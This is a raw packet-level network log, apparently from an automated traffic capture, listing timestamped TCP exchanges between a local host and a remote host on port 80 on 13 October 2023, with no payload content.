Oct 13, 2023 16:06:20.070487976 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.070543051 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.070571899 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.070607901 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.070635080 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.070672035 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.070732117 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.070769072 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.070806026 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.070843935 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.070914030 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.070950031 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.071018934 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.071055889 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.071106911 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.071141005 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.071185112 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.071227074 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.071289062 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.071325064 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.071374893 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.071412086 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.071470976 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.071510077 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.071526051 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.071563959 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.071587086 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.071623087 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.071645975 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.071681023 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.071692944 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.071727037 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.071738005 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.071773052 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.071810007 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.071845055 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.071930885 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.071969032 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.072002888 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.072037935 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.072094917 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.072134972 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.072191000 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.072226048 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.072283983 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.072320938 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.072355032 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.072392941 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.072447062 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.072484970 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.072508097 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.072576046 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.072582960 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.072617054 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.072639942 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.072678089 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.072700977 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.072736979 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.072818995 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.072856903 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.072892904 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.072926998 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.073000908 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.073035955 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.073092937 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.073127031 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.073149920 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.073191881 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.073255062 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.073288918 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.073314905 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.073357105 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.073435068 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.073468924 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.073481083 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.073517084 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.073594093 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.073630095 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.073663950 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.073699951 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.073734045 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.073767900 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.073834896 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.073869944 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.073932886 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.073970079 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.074002028 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.074037075 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.074115992 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.074152946 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.074187994 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.074223042 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.074263096 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.074312925 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.074315071 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.074352980 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.074377060 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.074532986 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.074767113 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.074805975 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.074841976 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.074878931 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.074912071 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.074948072 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.075189114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.075203896 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.075226068 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.075238943 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.075263977 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.075299025 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.075371027 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.075409889 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.075462103 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.075496912 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.075563908 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.075598955 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.075633049 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.075670958 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.075706005 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.075742006 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.075819969 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.075855017 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.075877905 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.075912952 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.075982094 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.076015949 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.076050043 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.076086998 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.076141119 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.076175928 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.076241016 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.076275110 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.076476097 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.076509953 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.076544046 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.076577902 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.076663971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.076698065 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.076731920 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.076766014 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.076849937 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.076884031 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.076925993 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.076961040 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.077022076 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.077054024 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.077132940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.077168941 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.077204943 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.077238083 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.077311039 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.077347040 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.077606916 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.077641964 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.077666044 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.077701092 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.077753067 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.077788115 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.077861071 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.077898026 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.077920914 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.077955961 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.078037024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.078073978 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.078109026 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.078142881 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.078213930 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.078257084 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.078280926 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.078316927 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.078375101 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.078409910 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.078458071 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.078494072 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.078574896 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.078609943 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.078644037 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.078679085 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.078748941 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.078783989 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.078809023 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.078844070 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.078907967 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.078943968 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.078967094 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.079003096 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.079077005 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.079109907 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.079143047 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.079176903 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.079257011 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.079291105 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.079324961 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.079359055 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.079427004 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.079458952 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.079518080 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.079554081 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.079576015 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.079612970 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.079684973 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.079718113 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.079742908 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.079777002 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.079801083 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.079837084 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.079855919 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.079889059 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.080152035 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.080185890 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.080262899 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.080297947 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.080322981 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.080355883 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.080415010 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.080451965 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.080523968 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.080579042 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.080605030 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.080638885 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.080667019 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.080701113 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.080723047 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.080758095 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.080780983 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.080816031 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.080848932 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.080883026 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.080961943 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.080993891 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.081026077 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.081057072 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.081134081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.081165075 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.081196070 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.081227064 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.081291914 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.081324100 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.081490040 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.081521988 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.081685066 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.081720114 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.081754923 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.081788063 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.081859112 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.081891060 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.081949949 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.081981897 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.082012892 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.082043886 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.082120895 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.082154989 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.082179070 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.082214117 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.082324982 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.082359076 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.082375050 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.082411051 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.082442045 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.082477093 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.082511902 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.082547903 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.082583904 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.082617044 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.082726955 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.082760096 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.083041906 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.083075047 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.083097935 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.083137035 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.083218098 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.083251953 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.083256006 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.083288908 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.083323002 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.083358049 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.083470106 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.083503008 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.083550930 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.083585978 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.083662033 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.083695889 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.083729982 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.083764076 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.083815098 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.083848953 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.083904028 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.083937883 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.083960056 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.083995104 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.084017992 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.084053993 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.084088087 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.084122896 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.084140062 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.084173918 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.084207058 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.084248066 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.084259033 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.084295988 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.084328890 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.084364891 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.084450960 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.084486008 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.084542036 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.084578037 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.084599972 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.084635019 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.084722996 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.084758043 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.084793091 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.084826946 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.084914923 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.084949017 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.084955931 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.084992886 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.085011005 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.085047960 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.085068941 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.085105896 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.085122108 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.085156918 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.085233927 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.085268021 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.085303068 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.085338116 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.085372925 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.085407019 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.085582018 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.085618019 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.085690022 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.085728884 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.085762978 CEST	80	49762	91.215.85.17	192.168.2.4
